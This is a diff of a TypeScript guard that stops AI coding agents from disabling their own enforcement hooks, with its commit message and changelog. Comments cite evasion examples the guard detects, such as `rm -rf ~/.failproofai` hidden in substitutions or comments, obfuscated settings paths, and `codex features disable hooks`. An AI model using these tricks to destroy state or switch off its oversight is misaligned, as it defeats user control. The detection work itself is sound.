LexQuoteFrame { + kind: "sq" | "dq" | "ansi"; + /** Blank separators inside: the command receiving this argument is not a shell. */ + mask: boolean; +} -/** `< " ".repeat(m.length)); -} - -/** - * Every heredoc in `text`, with the command that reads it. Linear: each - * operator's line is read once and its body is walked line by line. - */ -function heredocSpans(text: string): HeredocSpan[] { - const spans: HeredocSpan[] = []; - let from = 0; - HEREDOC_OPERATOR_RE.lastIndex = 0; - for (let m = HEREDOC_OPERATOR_RE.exec(text); m !== null; m = HEREDOC_OPERATOR_RE.exec(text)) { - if (m.index < from) continue; - const lineStart = text.lastIndexOf("\n", m.index - 1) + 1; - const lineEnd = text.indexOf("\n", m.index); - if (lineEnd === -1) break; - const delimiter = m[3]; - let bodyEnd = text.length; - let next = text.length; - for (let at = lineEnd + 1; at <= text.length; ) { - const end = text.indexOf("\n", at); - const line = text.slice(at, end === -1 ? text.length : end); - if (line.trim() === delimiter) { - bodyEnd = at; - next = end === -1 ? text.length : end + 1; - break; - } - if (end === -1) break; - at = end + 1; - } - const opLine = unquotedLine(text.slice(lineStart, lineEnd)); - const consumer = SHELL_WORD_RE.test(opLine) ? "shell" : INTERPRETER_WORD_RE.test(opLine) ? "interpreter" : "data"; - spans.push({ bodyStart: lineEnd + 1, bodyEnd, consumer, literal: m[2] !== "" }); - from = next; - HEREDOC_OPERATOR_RE.lastIndex = next; - } - return spans; +/** What one pass over a command learns. Every string has the command's length. */ +interface ShellLex { + /** Comments and STORED heredoc bodies blanked; everything else as written. */ + readable: string; + /** `readable`, with separators, redirects and parentheses inside quoted arguments blanked too. */ + splittable: string; + /** The command with only LITERAL stored heredoc bodies blanked: where substitutions are looked for. */ + substitutionSource: string; + /** `splittable` with ALL text inside a non-shell command's quoted arguments blanked: the commands alone. */ + commandsOnly: string; + /** Bodies of heredocs that an interpreter reads as its program. */ + programBodies: string[]; } -/** - * `text` with the bodies of DATA heredocs removed: a commit message or a PR - * body in `git commit -m "$(cat <<'EOF' … EOF)"` is text being stored, and its - * lines were being judged one by one as commands, so a message that mentioned - * `.claude/settings.json` denied the commit. A heredoc a shell or an - * interpreter reads stays: its lines run. - */ -function stripHeredocData(text: string, spans: HeredocSpan[], onlyLiteral = false): string { - let out = ""; - let pos = 0; - for (const span of spans) { - if (span.consumer !== "data" || (onlyLiteral && !span.literal)) continue; - out += text.slice(pos, span.bodyStart); - pos = span.bodyEnd; - } - return out + text.slice(pos); +function isShellHead(head: string | null | undefined): boolean { + return head !== null && head !== undefined && SHELL_HEADS.has(head); +} + +function isInterpreterHead(head: string | null | undefined): boolean { + return head !== null && head !== undefined && INLINE_INTERPRETER_RE.test(head); } /** - * `text` without the bodies the shell neither runs nor expands, for finding - * command substitutions: a backticked name in a `<<'EOF'` commit message is - * text, while `$(…)` in an unquoted `< x.sh < 0) return false; + const args = doc.words.slice(1); + if (doc.head === "cat" && doc.outerHead !== undefined) { + const outer = doc.outerHead; + const outerRuns = outer === null || isShellHead(outer) || isInterpreterHead(outer) || outer === "xargs"; + return !outerRuns && args.every((word) => word === "-"); + } + if (doc.head === "git") { + const sub = args.find((word) => !word.startsWith("-")); + const fromStdin = args.some((word, i) => (word === "-F" || word === "--file") && args[i + 1] === "-") || args.includes("--file=-"); + return (sub === "commit" || sub === "tag" || sub === "notes") && fromStdin; + } + if (doc.head === "gh") { + return args.some((word, i) => (word === "--body-file" || word === "-F") && args[i + 1] === "-") || args.includes("--body-file=-"); + } + return false; } -/** Heads that run a quoted argument as shell. */ -const SHELL_HEADS: ReadonlySet = new Set(["sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "eval", "source", ".", "su"]); - -/** Words a shell walks past before the command that receives the arguments. */ -const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ - "sudo", "doas", "env", "nohup", "time", "timeout", "nice", "stdbuf", "setsid", "command", "builtin", - "exec", "xargs", "then", "do", "else", "elif", "if", "while", "until", "!", -]); - /** - * `text` with command separators inside quoted ARGUMENTS turned into spaces. + * One linear pass over a command, as a shell would read it: quotes, `$'…'`, + * `$(…)` and backticks (also inside double quotes), `$((…))`, `( … )` + * subshells, comments, and heredocs with their bodies. * - * `git commit -m "a; b"`, `echo "x | y"` and `gh pr create --body "…\n…"` - * hand their quoted text to a program as one argument; the walk split it like - * shell, so every line of a message was judged as a command of its own. A - * shell's quoted argument (`bash -c '…; rm …'`) IS shell and keeps its - * separators, and so does a command substitution inside double quotes, which - * runs: `"$(cat x; rm …)"`. + * The regexes this replaced read `< { - for (const w of [...words, word]) { - if (!w) continue; - const base = commandBasename(w); - if (ENV_ASSIGNMENT_RE.test(w) || w.startsWith("-") || RUNNER_OPERAND_RE.test(w) || MASK_TRANSPARENT_WORDS.has(base)) continue; - return SHELL_HEADS.has(base); - } - // No command yet: the quoted text is the command word itself. - return null; +function lexShell(text: string): ShellLex { + const n = text.length; + const readable = text.split(""); + const splittable = text.split(""); + const substitutionSource = text.split(""); + const commandsOnly = text.split(""); + const programBodies: string[] = []; + const newCommand = (closer: ")" | "`" | null, substitution: boolean): LexCommandFrame => ({ + kind: "cmd", closer, substitution, head: null, words: [], word: "", + }); + const stack: LexFrame[] = [newCommand(null, false)]; + const pending: PendingHeredoc[] = []; + + const commandFrame = (): LexCommandFrame => { + for (let k = stack.length - 1; k >= 0; k--) { + const frame = stack[k]; + if (frame.kind === "cmd") return frame; + } + return stack[0] as LexCommandFrame; }; - // Separators, redirects and parentheses: none of them mean anything to the - // shell inside a quoted argument, and each of them steers the walk. - const maskable = (ch: string): boolean => "\n\r;&|<>()".includes(ch); - for (let i = 0; i < text.length; i++) { - const ch = text[i]; - if (ch === "'" || ch === '"' || (ch === "$" && text[i + 1] === "'")) { - const mask = headRunsShell() === false; - const quote = ch === "$" ? "'" : ch; - let j = ch === "$" ? i + 2 : i + 1; - let region = ch === "$" ? "$'" : ch; - let substitution = 0; - for (; j < text.length; j++) { - const c = text[j]; - if (quote === '"' && c === "\\" && j + 1 < text.length) { - region += c + text[j + 1]; - j++; - continue; + const outerCommandHead = (): string | null | undefined => { + // The substitution frame closest to the top, then the command below it. + for (let k = stack.length - 1; k >= 0; k--) { + const frame = stack[k]; + if (frame.kind !== "cmd") continue; + if (!frame.substitution) return undefined; + for (let j = k - 1; j >= 0; j--) { + const below = stack[j]; + if (below.kind === "cmd") return below.head ?? (below.word ? commandBasename(below.word) : null); + } + return null; + } + return undefined; + }; + const endWord = (frame: LexCommandFrame): void => { + if (!frame.word) return; + if (frame.words.length < 32) frame.words.push(frame.word); + if (frame.head === null) { + const base = commandBasename(frame.word); + const skipped = + ENV_ASSIGNMENT_RE.test(frame.word) || frame.word.startsWith("-") || RUNNER_OPERAND_RE.test(frame.word) || + MASK_TRANSPARENT_WORDS.has(base); + if (!skipped) frame.head = base; + } + frame.word = ""; + }; + const endCommand = (frame: LexCommandFrame): void => { + endWord(frame); + if (frame.head !== null) { + for (const doc of pending) if (doc.words !== frame.words) doc.downstream.push(frame.head); + } + frame.head = null; + frame.words = []; + }; + const quoteMask = (frame: LexCommandFrame): boolean => frame.head !== null && !isShellHead(frame.head); + const blankStored = (start: number, end: number, literal: boolean): void => { + for (let k = start; k < end; k++) { + if (text[k] === "\n") continue; + readable[k] = " "; + splittable[k] = " "; + commandsOnly[k] = " "; + if (literal) substitutionSource[k] = " "; + } + }; + /** Read every pending heredoc's body, starting at `at`; return where lexing resumes. */ + const consumeBodies = (at: number): number => { + let pos = at; + for (const doc of pending.splice(0)) { + let bodyEnd = n; + let next = n; + for (let line = pos; line <= n; ) { + const end = text.indexOf("\n", line); + const content = text.slice(line, end === -1 ? n : end); + if (content.trim() === doc.delimiter) { + bodyEnd = line; + next = end === -1 ? n : end + 1; + break; } - if (ch === "$" && c === "\\" && j + 1 < text.length) { - region += c + text[j + 1]; - j++; - continue; + if (end === -1) break; + line = end + 1; + } + if (heredocIsStoredText(doc)) blankStored(pos, bodyEnd, doc.literal); + else if (isInterpreterHead(doc.head) || doc.downstream.some(isInterpreterHead)) { + programBodies.push(text.slice(pos, bodyEnd)); + } + pos = next; + } + return pos; + }; + + let i = 0; + while (i < n) { + const ch = text[i]; + const frame = stack[stack.length - 1]; + if (frame.kind === "sq") { + if (ch === "'") stack.pop(); + else if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; + if (ch !== "\n") commandsOnly[i] = " "; + } + i++; + continue; + } + if (frame.kind === "ansi") { + if (ch === "\\") { + if (frame.mask) { + commandsOnly[i] = " "; + if (i + 1 < n && text[i + 1] !== "\n") commandsOnly[i + 1] = " "; } - if (quote === '"' && c === "$" && text[j + 1] === "(") { - substitution++; - region += "$("; - j++; + i += 2; + continue; + } + if (ch === "'") stack.pop(); + else if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; + if (ch !== "\n") commandsOnly[i] = " "; + } + i++; + continue; + } + if (frame.kind === "arith") { + if (ch === "(") frame.depth++; + else if (ch === ")") { + if (frame.depth === 0 && text[i + 1] === ")") { + splittable[i] = " "; + splittable[i + 1] = " "; + stack.pop(); + i += 2; continue; } - if (quote === '"' && substitution > 0 && c === ")") { - substitution--; - region += c; - continue; + frame.depth = Math.max(0, frame.depth - 1); + } + i++; + continue; + } + if (frame.kind === "dq") { + if (ch === "\\") { + if (frame.mask) { + commandsOnly[i] = " "; + if (i + 1 < n && text[i + 1] !== "\n") commandsOnly[i + 1] = " "; } - if (c === quote && substitution === 0) break; - region += mask && substitution === 0 && maskable(c) ? " " : c; + i += 2; + continue; + } + if (ch === '"') { + stack.pop(); + i++; + continue; + } + // The parentheses of `$(…)` and `$((…))` open no subshell: blanked where + // the walk counts subshells, so a `cd "$(dirname …)"` keeps its reach. + if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { + stack.push({ kind: "arith", depth: 0 }); + splittable[i + 1] = " "; + splittable[i + 2] = " "; + i += 3; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + splittable[i + 1] = " "; + i += 2; + continue; + } + if (ch === "`") { + stack.push(newCommand("`", true)); + i++; + continue; + } + if (frame.mask) { + if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; + if (ch !== "\n") commandsOnly[i] = " "; + } + i++; + continue; + } + + // A command context. + const command = frame as LexCommandFrame; + if (ch === "\\") { + // A backslash-newline joins lines; any other escaped character is literal. + if (text[i + 1] !== "\n") command.word += text[i + 1] ?? ""; + i += 2; + continue; + } + if (ch === "`" && command.closer === "`") { + endCommand(command); + stack.pop(); + commandFrame().word += "q"; + i++; + continue; + } + if (ch === "'" || ch === '"' || (ch === "$" && text[i + 1] === "'")) { + stack.push({ kind: ch === "'" ? "sq" : ch === '"' ? "dq" : "ansi", mask: quoteMask(command) }); + command.word += "q"; + i += ch === "$" ? 2 : 1; + continue; + } + if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { + stack.push({ kind: "arith", depth: 0 }); + splittable[i + 1] = " "; + splittable[i + 2] = " "; + command.word += "q"; + i += 3; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + splittable[i + 1] = " "; + command.word += "q"; + i += 2; + continue; + } + if (ch === "`") { + stack.push(newCommand("`", true)); + command.word += "q"; + i++; + continue; + } + if (ch === "#" && command.word === "") { + // A comment runs to the end of the line, and nothing in it is shell. + let j = i; + for (; j < n && text[j] !== "\n"; j++) { + readable[j] = " "; + splittable[j] = " "; + commandsOnly[j] = " "; } - out += region + (j < text.length ? quote : ""); - word += "q"; i = j; continue; } - if (ch === "\\" && i + 1 < text.length) { - out += ch + text[i + 1]; - word += text[i + 1]; + if (ch === "(") { + endWord(command); + stack.push(newCommand(")", false)); + i++; + continue; + } + if (ch === ")") { + if (command.closer === ")") { + endCommand(command); + stack.pop(); + if (command.substitution) { + splittable[i] = " "; + commandFrame().word += "q"; + } + } i++; continue; } - if (ch === " " || ch === "\t") { - if (word) words.push(word); - word = ""; - out += ch; + if (ch === "<" && text[i + 1] === "<" && text[i + 2] !== "<" && text[i - 1] !== "<") { + const op = /^<<(-?)[ \t]*(['"\\]?)([A-Za-z_][A-Za-z0-9_-]*)['"]?/.exec(text.slice(i, i + 160)); + if (op) { + endWord(command); + pending.push({ + delimiter: op[3], + literal: op[2] !== "", + head: command.head ?? (command.words[0] ? commandBasename(command.words[0]) : null), + words: command.words, + outerHead: outerCommandHead(), + downstream: [], + }); + i += op[0].length; + continue; + } + } + if (ch === "\n") { + endCommand(command); + i = pending.length > 0 ? consumeBodies(i + 1) : i + 1; + continue; + } + if (ch === ";" || ch === "&" || ch === "|") { + endCommand(command); + i++; continue; } - if (ch === "\n" || ";&|(){}`".includes(ch)) { - words = []; - word = ""; - out += ch; + if (ch === " " || ch === "\t" || ch === "\r") { + endWord(command); + i++; continue; } - word += ch; - out += ch; + command.word += ch; + i++; } - return out; + if (pending.length > 0) consumeBodies(n); + return { + readable: readable.join(""), + splittable: splittable.join(""), + substitutionSource: substitutionSource.join(""), + commandsOnly: commandsOnly.join(""), + programBodies, + }; } /** @@ -1704,6 +1999,23 @@ function quoteAwareWords(text: string): string[] { return words; } +/** The words of a simple command from its head on, the prefixes a shell walks past dropped. */ +function quoteAwareCommandWords(simple: string): { words: string[]; viaXargs: boolean } { + const all = quoteAwareWords(simple); + let viaXargs = false; + let i = 0; + for (; i < all.length; i++) { + const word = all[i]; + const base = commandBasename(word); + if (base === "xargs") viaXargs = true; + const skippable = + ENV_ASSIGNMENT_RE.test(word) || word.startsWith("-") || RUNNER_OPERAND_RE.test(word) || + SHELL_KEYWORD_PREFIXES.has(word) || COMMAND_PREFIX_TOKENS.has(base); + if (!skippable) break; + } + return { words: all.slice(i), viaXargs }; +} + /** `e`: sed runs a shell command, as a command (`1e cp …`) or as the flag on `s` (`s/x/y/e`). */ const SED_RUNS_COMMAND_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*e[gpIiMm0-9]*(?=$|[\s;}])/; @@ -1713,7 +2025,8 @@ const SED_WRITE_FILE_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*[wW][ \t]*([^\n /** * The script texts a `sed` command runs: each `-e`/`--expression` value, or the * first operand when there is none. Null when a script comes from a file - * (`-f`), which cannot be read from here. + * (`-f`), which cannot be read from here. Options that take a value + * (`-l `, `--line-length `) take it, so the value is never the script. */ function sedScripts(rawSimple: string): string[] | null { const words = quoteAwareWords(rawSimple); @@ -1734,6 +2047,10 @@ function sedScripts(rawSimple: string): string[] | null { continue; } if (a === "--file" || a.startsWith("--file=") || /^-(?!-)[A-Za-z]*f/.test(a)) return null; + if (a === "-l" || a === "--line-length") { + i++; + continue; + } if (/^-(?!-)[A-Za-z]*e$/.test(a)) { scripts.push(words[++i] ?? ""); explicit = true; @@ -1750,20 +2067,25 @@ function sedScripts(rawSimple: string): string[] | null { return scripts; } -/** `$VAR`, `${VAR}`, `$(…)` and backticks inside a word: what the shell will splice in. */ -const WORD_EXPANSION_RE = /\$\{[^}]*\}|\$\([^)]*\)|`[^`]*`|\$[A-Za-z_][A-Za-z0-9_]*/g; +/** `$VAR`, `${VAR}`, `$(…)` and backticks: what the shell will splice into a word. */ +const WORD_EXPANSION_RE = /\$\{[^}]*\}|\$\([^()]*\)|`[^`]*`|\$[A-Za-z_][A-Za-z0-9_]*/g; /** - * A word with each expansion inside it turned into `*`, a pattern that reaches - * at least every word the shell could produce: `~/.claude/settings$X.json` and - * `~/.clau${X}de/settings.json` reach the settings file, and are tried against - * it like any other glob. A word that is nothing but an expansion becomes a bare - * `*`, which the decoys keep from naming anything. + * `text` with each expansion turned into `*`, a pattern that reaches at least + * every word the shell could produce: `~/.claude/settings$X.json`, + * `~/.clau${X}de/settings.json` and `settings$( true ).json` all reach the + * settings file, and are tried against it like any other glob. Spliced before + * the text is cut into words, so an expansion holding a space stays in its word. + * An expansion standing alone becomes a bare `*`, which the decoys keep from + * naming anything. */ -function spliceWordExpansions(word: string): string { - return word.replace(WORD_EXPANSION_RE, "*"); +function spliceWordExpansions(text: string): string { + return text.replace(WORD_EXPANSION_RE, "*"); } +/** `$(…)` and backticks, which the shell splices into the word around them. */ +const COMMAND_SUBSTITUTION_IN_WORD_RE = /\$\([^()]*\)|`[^`]*`/g; + /** A word the shell resolves against the current directory. */ function isRelativeShellWord(word: string): boolean { return word.length > 0 && !/^[-/~$]/.test(word) && !word.includes("://") && !GLOB_METACHAR_RE.test(word); @@ -1771,7 +2093,7 @@ function isRelativeShellWord(word: string): boolean { /** * Where `cd ` leaves a shell that stood in `from`, or undefined when - * that cannot be known from the text (`cd -`, `cd $DIR`). + * that cannot be known from the text (`cd -`, `cd $DIR`, `cd "$(dirname …)"`). */ function cdDestination(from: string | undefined, operand: string | undefined): string | undefined { if (operand === undefined || operand === "~" || operand === "$HOME" || operand === "${HOME}") return homedir(); @@ -1827,6 +2149,8 @@ function destroysFailproofaiState(command: string): boolean { * does, because nothing in the second command reaches the state. */ function destroysProtectedPath(command: string, target: ProtectedPathTarget, depth = 0, unescapedPass = false): boolean { + const lexed = lexShell(command); + // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1840,11 +2164,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // substitution. Each body is judged raw AND unescaped here instead, so a // quote-broken path inside one (`$(rm ~/.claude/"settings.json")`) is caught. if (depth === 0 && !unescapedPass) { - const bodies = substitutionBodies(withoutLiteralHeredocs(command)); + const bodies = substitutionBodies(lexed.substitutionSource); for (let i = 0; i < bodies.length && i < 64; i++) { if (destroysProtectedPath(bodies[i], target, 1)) return true; if (destroysProtectedPath(stripShellQuoting(bodies[i]), target, 1, true)) return true; - bodies.push(...substitutionBodies(withoutLiteralHeredocs(bodies[i]))); + bodies.push(...substitutionBodies(lexShell(bodies[i]).substitutionSource)); } } @@ -1856,7 +2180,7 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // independent of the order the assignments appear in, rather than resting on // a shell evaluating them top to bottom. const assignments = [ - ...command.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), + ...lexed.readable.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); const stateVars = new Set(); for (let pass = 0; pass < assignments.length + 1; pass++) { @@ -1882,12 +2206,12 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep } // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` - // — that would expand onto the state. - return text.split(/\s+/).some((token) => { + // — that would expand onto the state. Expansions are spliced first, so one + // holding a space (`settings$( true ).json`) stays inside its word. + const spliced = spliceWordExpansions(text); + return spliced.split(/\s+/).some((token) => { const word = unquotedToken(token); if (globCouldNameTarget(word, target)) return true; - const spliced = spliceWordExpansions(word); - if (spliced !== word && globCouldNameTarget(spliced, target)) return true; if (walkCwd === undefined) return false; // A relative word lands where the shell stands: `settings.json` after // `cd ~/.claude`, `opencode` after `cd ~/.config`. @@ -1900,12 +2224,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // Programs handed to an interpreter, judged whole (see INLINE_PROGRAM_RE). const namesProgram = (program: string): boolean => (target.namesProgram ?? target.namesLiteral)(program) || namesState(program); - for (const [, program] of command.matchAll(INLINE_PROGRAM_RE)) { + for (const [, program] of command.replace(/\\\r?\n/g, " ").matchAll(INLINE_PROGRAM_RE)) { if (namesProgram(program)) return true; } - const heredocs = heredocSpans(command); - for (const span of heredocs) { - if (span.consumer === "interpreter" && namesProgram(command.slice(span.bodyStart, span.bodyEnd))) return true; + for (const body of lexed.programBodies) { + if (namesProgram(body)) return true; } let cwdInState = false; @@ -1926,20 +2249,19 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // destination counts: `cd $D && cp x policies-config.json`. const namesHere = (text: string): boolean => namesState(text) || (cwdInState && walkCwd === undefined && isRelativeShellWord(bareToken(text))); - // Data the shell never runs comes out before the walk splits lines: a - // heredoc that only stores text, and separators inside quoted arguments. - // The walk SPLITS the masked text and READS the unmasked one: masking keeps - // every offset, so each piece of one is the same piece of the other, and a - // sed or awk program arrives with the separators and redirects it really has. - const unmasked = stripHeredocData(command, heredocs); - const masked = maskQuotedData(unmasked); - for (const [pipelineStart, pipelineEnd] of cutRanges(masked, PIPELINE_SEPARATORS)) { - const pipeline = unmasked.slice(pipelineStart, pipelineEnd); - const maskedPipeline = masked.slice(pipelineStart, pipelineEnd); + // The walk SPLITS the splittable text and READS the readable one: both keep + // every offset, so each piece of one is the same piece of the other. Comments + // and stored heredoc bodies are blank in both; separators inside a quoted + // argument are blank only in the first, so a sed or awk program still + // arrives with the separators and redirects it really has. + const { readable, splittable } = lexed; + for (const [pipelineStart, pipelineEnd] of cutRanges(splittable, PIPELINE_SEPARATORS)) { + const pipeline = readable.slice(pipelineStart, pipelineEnd); + const splitPipeline = splittable.slice(pipelineStart, pipelineEnd); if (!pipeline.trim()) continue; const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; - if (reachesState && LOOP_HEADER_RE.test(maskedPipeline)) loopCarriesState = true; - if (/(?:^|\s)done(?:\s|$)/.test(maskedPipeline)) loopCarriesState = false; + if (reachesState && LOOP_HEADER_RE.test(splitPipeline)) loopCarriesState = true; + if (/(?:^|\s)done(?:\s|$)/.test(splitPipeline)) loopCarriesState = false; // A redirect is a write with no command in front of it — `> path` empties a // file on its own. Only a redirect whose TARGET is the state counts: the @@ -1948,21 +2270,24 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. if (reachesState) { - for (const [, redirected] of maskedPipeline.matchAll(REDIRECT_TARGET_RE)) { + for (const [, redirected] of splitPipeline.matchAll(REDIRECT_TARGET_RE)) { if (namesHere(redirected.replace(/^["']|["']$/g, ""))) return true; } } - for (const [simpleStart, simpleEnd] of cutRanges(maskedPipeline, /\|/)) { + for (const [simpleStart, simpleEnd] of cutRanges(splitPipeline, /\|/)) { const simple = pipeline.slice(simpleStart, simpleEnd); - const maskedSimple = maskedPipeline.slice(simpleStart, simpleEnd); - parenDepth += (maskedSimple.match(/\(/g) ?? []).length; - const words = commandWords(simple); + const splitSimple = splitPipeline.slice(simpleStart, simpleEnd); + parenDepth += (splitSimple.match(/\(/g) ?? []).length; + // A command substitution is one word however many spaces it holds: + // `cp x ~/.claude/settings$( true ).json` has three operands, not five. + const words = commandWords(simple.replace(COMMAND_SUBSTITUTION_IN_WORD_RE, "*")); const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); + // Quote-aware, so `cd "$(dirname ~/.claude/settings.json)"` is one operand. + const operand = quoteAwareCommandWords(simple).words.slice(1).find((w) => !w.startsWith("-")); cwdInState = operand !== undefined && namesState(operand); cdParenDepth = cwdInState ? parenDepth : null; if (head === "pushd") dirStack.push(walkCwd); @@ -1979,13 +2304,13 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // `xargs` hands the paths on its stdin to the command after it, so a // copy or a `tee` fed by `echo |` names its destination nowhere // in its own words. Judged like `find -exec`: only a reader is safe. - const viaXargs = /(?:^|\s)(?:\S*\/)?xargs(?:\s|$)/.test(maskedSimple); - if (viaXargs && !SAFE_EXEC_COMMANDS.has(head)) return true; + // Read from the command's own words, not its quoted arguments. + if (quoteAwareCommandWords(simple).viaXargs && !SAFE_EXEC_COMMANDS.has(head)) return true; // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. - if (simpleCommandDestroys(words, namesHere, target, simple)) return true; + if (simpleCommandDestroys(words, namesHere, target, simple, cwdInState)) return true; } - parenDepth -= (maskedSimple.match(/\)/g) ?? []).length; + parenDepth -= (splitSimple.match(/\)/g) ?? []).length; if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; @@ -3114,8 +3439,10 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { ); } // An agent CLI's own command can turn its hooks off with no settings path in - // it at all: `codex features disable hooks` rewrites config.toml. - if (agentCliSwitchesHooksOff(cmd) || agentCliSwitchesHooksOff(unescaped)) { + // it at all: `codex features disable hooks` rewrites config.toml. Read from + // the commands alone, so a commit message that quotes one is still a message. + const lexed = lexShell(cmd); + if (agentCliSwitchesHooksOff(lexed.commandsOnly) || agentCliSwitchesHooksOff(stripShellQuoting(lexed.commandsOnly))) { return deny( "Turning an agent's hooks off would switch failproofai's enforcement off. " + "If this change is needed, say so and let the user make it.", @@ -3130,7 +3457,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { agentSettingsShellCwd(ctx.toolInput, ctx.session?.cwd), sessionAgentSettingsPaths(ctx), ); - const maskedUnescaped = stripShellQuoting(maskQuotedData(withoutLiteralHeredocs(cmd))); + const maskedUnescaped = stripShellQuoting(lexed.splittable); if (destroysProtectedPath(cmd, settingsTarget) || destroysProtectedPath(maskedUnescaped, settingsTarget, 0, true)) { return deny( "Writing, moving or deleting an agent's settings or hook files could switch failproofai's hooks off. " + From 26571cc5458096b91da87b1cac40a932d6bb04ab Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 16:49:34 +0530 Subject: [PATCH 11/89] [hooks] Close the third review pass's holes and super-linear inputs (#1794) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - `${…}` is read as one word: a `#` inside `${X:- #}` started a comment that hid `; rm -rf ~/.failproofai` (new versus main). - Heredoc delimiters are read as bash reads them (`< F`/`tee F` heredoc is stored unless the command later names F. A substitution body judged on its own treats its `cat` heredoc as text. - Text piped into a bare shell or interpreter (`echo '…' | sh`) is judged as its program, and the Codex check reads it (also open on main). - `git difftool -x`, `filter-branch`; `cd $(echo …)` keeps its operand. - Parameter-expansion defaults of any length are spliced (`~/.fa${X:-ilproofai}`): a linear bracket scanner replaces the bounded regex, which both missed long expansions and was the quadratic. - A glob too large for V8 to compile no longer throws out of the policy. - Linear: 2000 heredoc operators 20 ms (0.5 s), unclosed `${` 200 KB 0.4 s (34 s), 32 nested `$(` around 100 KB 0.67 s (3.8 s); the lexer keeps byte masks instead of character arrays, a body is re-judged unescaped only when that changes it, and the session's settings links are resolved once per call. Part of FailproofAI/agenteye#1794 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/settings-guard.test.ts | 99 +++++ src/hooks/agent-settings-guard.ts | 29 +- src/hooks/builtin-policies.ts | 571 ++++++++++++++++++++----- 4 files changed, 583 insertions(+), 118 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f04e2b87d..6506e14fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `$(…)`, heredocs), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `git rebase -x` and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell, follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, 